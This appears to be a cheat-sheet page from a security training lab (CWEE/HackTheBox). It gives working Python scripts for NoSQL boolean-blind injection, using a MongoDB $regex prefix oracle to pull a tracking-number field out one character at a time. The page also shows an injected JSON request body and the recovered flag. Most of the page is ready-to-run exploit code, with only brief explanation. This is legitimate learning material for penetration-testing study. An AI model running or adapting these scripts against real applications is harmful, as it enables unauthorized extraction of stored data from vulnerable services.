Skip to content
Boolean Blind

Boolean Blind

NoSQL $regex prefix exfiltration

No charCodeAt needed: an anchored ^prefix regex is grown one char at a time; a match keeps the response ‘found’.

import string
charset = list(string.ascii_letters + string.digits + "{}_-")
FALSE_STRING = "does not exist"

def exfil(s, field, known=""):
    value = known
    while True:
        for ch in charset:
            json_data = {field: {"$regex": f"^{value}{ch}.*"}}
            r = s.post(url=SEARCH_URL, json=json_data, verify=False)
            if FALSE_STRING not in r.text:
                value += ch
                print(f"\r[+] {value}", end="", flush=True)
                break
        else:
            print(f"\n[+] Found: {value}")
            return value

Find by: nosql, mongodb, regex, prefix, exfiltrate, boolean blind, dollar regex, anchored, character, tracking number, field value · Source: CWEE/NoSQLi tracking

$regex boolean-blind field exfil (prefix extension)

Recovers a field character-by-character via $regex prefix matching, using a not-found marker as the boolean oracle.

The oracle anchors a $regex at the start of the target field (^<prefix>.*) and treats the absence of the not-found marker as a match. Because a matching prefix can be extended one byte at a time, the value is recovered without a separate length step: the loop appends the first character that keeps the regex matching and terminates when no character extends the prefix (the for/else). The injection only fires when the parameter is parsed as an object, so it is sent as a JSON body ({"trackingNum": {"$regex": ...}}) rather than a flat string. Seeding exfil() with a known prefix skips already-known leading characters. If the field can contain regex metacharacters (., *, (, \), escape them before interpolation so they are matched literally.

import string, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

s = requests.Session()
# s.proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}  # Burp

URL = "http://target/index.php"
FALSE_STRING = "This tracking number does not exist"  # shown ONLY when the regex matches nothing
CHARSET = string.ascii_letters + string.digits + "{}-"

def matches(prefix):
    """True when some document's field starts with `prefix` (regex matched)."""
    data = {"trackingNum": {"$regex": f"^{prefix}.*"}}
    r = s.post(URL, json=data, verify=False)
    return FALSE_STRING not in r.text

def exfil(known=""):
    value = known
    while True:
        for c in CHARSET:
            if matches(value + c):
                value += c
                print(f"\r[+] {value}", end="", flush=True)
                break
        else:                     # no char extended the prefix -> done
            print(f"\n[+] done: {value}")
            return value

# exfil()          # recover from scratch
# exfil("HTB{")    # seed a known prefix to skip ahead

Injected request body (parameter parsed as an object) + the false marker

POST /index.php
{"trackingNum": {"$regex": "^32A.*"}}

# response body when nothing matches:
This tracking number does not exist

Recovered value

[+] HTB{98e6bb6f0b04dbb68bcb4c1250715aa4}
[+] done: HTB{98e6bb6f0b04dbb68bcb4c1250715aa4}

Find by: nosql, mongodb, $regex, boolean blind, char-by-char exfil, prefix bruteforce, operator injection, tracking number, not-found marker · Source: CWEE/NoSQLi $regex tracking-number exfil